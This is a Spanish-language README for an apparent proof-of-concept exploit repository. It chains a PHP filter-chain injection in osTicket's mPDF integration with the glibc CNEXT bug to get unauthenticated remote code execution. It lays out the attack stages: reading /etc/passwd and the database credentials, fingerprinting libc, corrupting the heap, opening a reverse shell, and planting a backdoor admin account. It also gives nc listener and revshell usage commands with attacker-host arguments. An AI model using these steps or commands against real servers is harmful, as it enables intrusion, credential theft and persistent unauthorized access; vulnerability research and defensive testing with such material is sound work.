Exploit de cadena completa que combina inyección de cadena de filtros PHP con CVE-2024-2961 (CNEXT) para Ejecución Remota de Código no autenticada en instalaciones vulnerables de osTicket.
Exploit de cadena completa que combina la inyección de cadenas de filtros PHP con CVE-2024-2961 (CNEXT) para la Ejecución Remota de Código no autenticada en instalaciones vulnerables de osTicket.
Este repositorio contiene un exploit de prueba de concepto para CVE-2026-22200, una vulnerabilidad crítica que afecta a versiones de osTicket ≤ 1.18.2. El exploit encadena dos técnicas potentes:
El resultado: Ejecución Remota de Código no autenticada en servidores osTicket vulnerables.
Puntuación CVSS: 9.8 (Crítica)
La integración de mPDF en osTicket permite a usuarios no autenticados inyectar cadenas maliciosas de filtros PHP a través de payloads HTML especialmente diseñados en tickets de soporte. Esto permite:
Causa Raíz: Validación insuficiente de URLs de imágenes en HTML proporcionado por el usuario antes de pasarlo a mPDF.
Puntuación CVSS: 9.8 (Crítica)
Desbordamiento de búfer en iconv() de glibc al procesar el conjunto de caracteres ISO-2022-CN-EXT. Combinado con cadenas de filtros PHP, esto permite:
Versiones vulnerables de glibc: < 2.39 (Febrero 2024)
┌─────────────────────────────────────────────────────────────────┐
│ 1. RECONOCIMIENTO │
│ └─ Detectar osTicket, identificar temas de texto enriquecido│
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 2. AUTENTICACIÓN │
│ └─ Auto-registrarse O usar credenciales existentes │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 3. EXFILTRACIÓN DE ARCHIVOS (Cadenas de Filtros PHP) │
│ ├─ /etc/passwd │
│ ├─ include/ost-config.php (Credenciales BD, SECRET_SALT) │
│ ├─ /proc/self/maps (Distribución de memoria) │
│ └─ /proc/self/environ (Variables de entorno) │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 4. HUELLA DE LIBC │
│ ├─ Extraer libc parcial mediante cadenas de filtros │
│ ├─ Extraer GNU Build ID │
│ └─ Descargar libc completa desde libc.rip │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 5. EXPLOTACIÓN RCE CON CNEXT │
│ ├─ Generar payload de corrupción del heap │
│ ├─ Inyectar mediante respuesta a ticket (con correcciones │
│ │ de ejecución de filtros) │
│ ├─ Disparar mediante exportación a PDF (el servidor falla) │
│ └─ Ejecutar shell inversa │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 6. POST-EXPLOTACIÓN │
│ ├─ Shell inversa interactiva │
│ ├─ Acceso a base de datos (usando DBPASS exfiltrado) │
│ └─ Crear cuenta de administrador puerta trasera │
└─────────────────────────────────────────────────────────────────┘
# Clonar el repositorio
git clone https://github.com/Clarissss/osTicketFileReadIntoRCE
cd osTicketFileReadIntoRCE
# Instalar paquetes requeridos
pip install -r requirements.txt
requirements.txt:
requests>=2.31.0
PyMuPDF>=1.23.0
Pillow>=10.0.0
pwntools>=4.11.0
python3 -m venv venv
source venv/bin/activate # Linux/macOS
# O
venv\Scripts\activate # Windows
pip install -r requirements.txt
# Terminal 1: Iniciar listener
nc -lvnp 4444
# Terminal 2: Ejecutar exploit
python3 osticket_revshell.py https://target.com/osticket \
--lhost TU_IP \
--lport 4444
python3 osticket_exploit.py https://target.com/osticket
# Usar proxy (Burp Suite)
python3 osticket_revshell.py https://target.com/osticket \
--lhost 10.0.0.5 \
--lport 4444 \
--proxy http://127.0.0.1:8080